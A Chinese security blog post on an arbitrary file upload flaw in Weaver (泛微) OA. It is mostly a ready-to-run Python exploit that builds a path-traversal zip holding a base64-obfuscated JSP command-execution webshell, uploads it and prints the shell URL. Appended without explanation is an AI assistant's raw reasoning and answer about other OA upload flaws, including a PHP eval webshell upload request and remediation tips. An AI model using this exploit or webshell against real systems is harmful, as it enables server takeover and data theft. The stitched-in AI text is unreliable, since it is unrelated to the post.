泛微OA 任意文件上传漏洞

本文详细介绍了泛微OA系统weaver.common.Ctrl组件存在的任意文件上传漏洞,攻击者可借此上传webshell,控制服务器。复现步骤包括定位漏洞路径并使用POC进行文件上传。此外,提供了Python脚本实现文件上传过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

使用需知

由于传播和使用本文所提供的任何直接或间接的后果和损失,均由用户承担,作者对此不承担任何责任。如果文章出现敏感内容产生不良影响,请联系作者删除。
本文来源于PeiQi文库 ,作者PeiQi文库

一、漏洞描述

泛微OA weaver.common.Ctrl 存在任意文件上传漏洞,攻击者通过漏洞可以上传webshell文件控制服务器

二、漏洞影响

泛微OA

三、漏洞复现

存在漏洞的路径为

/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp

使用POC进行文件上传

python poc.py

在这里插入图片描述

四、漏洞POC

import zipfile
import random
import sys
import requests



def generate_random_str(randomlength=16):
    random_str = ''
    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../../../'+webshell_name1

def file_zip():
    shell = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
    if(request.getParameter("cmd")!=null){
        BASE64Decoder decoder = new BASE64Decoder();
        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
        Process e = (Process)
                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
                        Object[]{}), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
    """   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr(webshell_name2, shell)

def GetShell(urllist):
    file_zip()
    # print('上传文件中')
    urls = urllist + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'
    file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))]
    try:
        requests.post(url=urls,files=file,timeout=60, verify=False)
        GetShellurl = urllist+'/cloudstore/'+webshell_name1
        GetShelllist = requests.get(url = GetShellurl)
        if GetShelllist.status_code == 200:
            print(GetShellurl+"?cmd=whoami")
    except:
        pass

GetShell("自己找的漏洞URL")
<think>好的,我现在需要处理用户关于OA文件上传漏洞的查询。用户想了解漏洞的详情及修复方法。首先,我需要整理用户提供的引用内容,这些引用提到了三个不同的漏洞:do_excel.php、init.php和upload.php的任意文件上传漏洞。 首先,我需要确认每个漏洞的具体路径和影响。根据引用[1],do_excel.php接口未校验上传文件的路径和名称,导致攻击者可写入恶意文件。引用[2]提到的是/E-mobile/App/init.php,同样存在上传漏洞。引用[3]则指出三个不同的upload.php路径存在漏洞。这些漏洞的共同点是允许攻击者上传恶意文件,可能导致服务器被控制。 接下来,用户可能想知道漏洞的利用方式。根据描述,攻击者构造特定请求上传WebShell等文件,从而执行命令。需要说明这些漏洞的严重性,比如数据泄露、权限提升等后果。 然后是修复方案。通常这类漏洞的修复涉及对上传文件的有效校验,比如限制文件类型、检查文件名和路径、设置权限等。可能需要建议用户升级到最新版本,或应用官方补丁。同时,加强服务器安全配置,如禁用不必要的服务,定期安全审计。 用户可能还希望了解如何检测是否存在这些漏洞,比如使用网络空间测绘工具如Fofa搜索app="-EOffice",但要注意合法授权。此外,生成的相关问题需要覆盖漏洞分析、利用实例和防护措施,以帮助用户全面理解。 最后,确保回答结构清晰,分点说明漏洞详情、利用方式和修复方法,并附上相关问题供用户进一步探索。同时,正确引用提供的参考资料,确保信息准确可靠。</think>### OA文件上传漏洞详情及修复方法 #### 一、漏洞详情 OA系统中存在多个文件上传漏洞,主要由于未对上传文件的路径、名称或类型进行有效校验,导致攻击者可上传恶意文件。以下是已知漏洞的详细信息: 1. **do_excel.php任意文件写入漏洞** - **路径**: `/do_excel.php` - **描述**: 该接口未限制上传文件的路径和文件名,攻击者可构造请求将恶意文件(如WebShell)写入服务器指定位置,从而执行任意命令或窃取数据[^1]。 - **影响**: 服务器控制权丢失、数据泄露、业务瘫痪。 2. **/E-mobile/App/init.php任意文件上传漏洞** - **路径**: `/E-mobile/App/init.php` - **描述**: 攻击者通过上传恶意文件可直接获取服务器控制权,执行系统命令或部署后门程序[^2]。 - **影响**: 服务器完全被接管,系统安全性彻底破坏。 3. **多路径upload.php任意文件上传漏洞** - **路径**: - `/webservice/upload/upload.php` - `/webservice-json/upload/upload.php` - `/webservice-xml/upload/upload.php` - **描述**: 三个接口均未对上传文件进行安全校验,攻击者可上传任意类型文件(如`.php`、`.jsp`),实现远程代码执行[^3]。 - **影响**: 系统权限提升、敏感数据泄露。 --- #### 二、漏洞利用方式 攻击者通过以下步骤利用漏洞: 1. **构造恶意请求**: 使用工具(如Burp Suite)修改HTTP请求,绕过前端校验。 2. **上传WebShell**: 将包含恶意代码的文件(如`shell.php`)上传至服务器。 3. **执行命令**: 通过访问上传WebShell路径,触发恶意代码执行,获取系统权限。 例如,攻击者可能通过以下Payload上传文件: ```http POST /webservice/upload/upload.php HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="shell.php" <?php @eval($_POST['cmd']);?> ``` --- #### 三、修复方案 1. **官方补丁升级** - 联系官方获取最新版本或安全补丁,修复已知漏洞- 重点关注`do_excel.php`、`init.php`及`upload.php`等接口的更新说明。 2. **代码层修复** - **文件类型白名单**: 限制上传文件扩展名(如仅允许`.docx`、`.xlsx`)。 - **路径隔离**: 将上传目录设置为不可执行(通过`.htaccess`或Nginx配置)。 - **文件名随机化**: 对上传文件重命名,避免路径遍历攻击。 3. **服务器加固** - 禁用不必要的PHP函数(如`eval()`、`system()`)。 - 定期清理`/upload/`目录下的非业务相关文件。 - 配置Web应用防火墙(WAF),拦截恶意上传请求。 4. **安全监测** - 使用漏洞扫描工具(如Nessus)定期检测系统漏洞- 监控服务器日志,排查异常文件上传行为。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值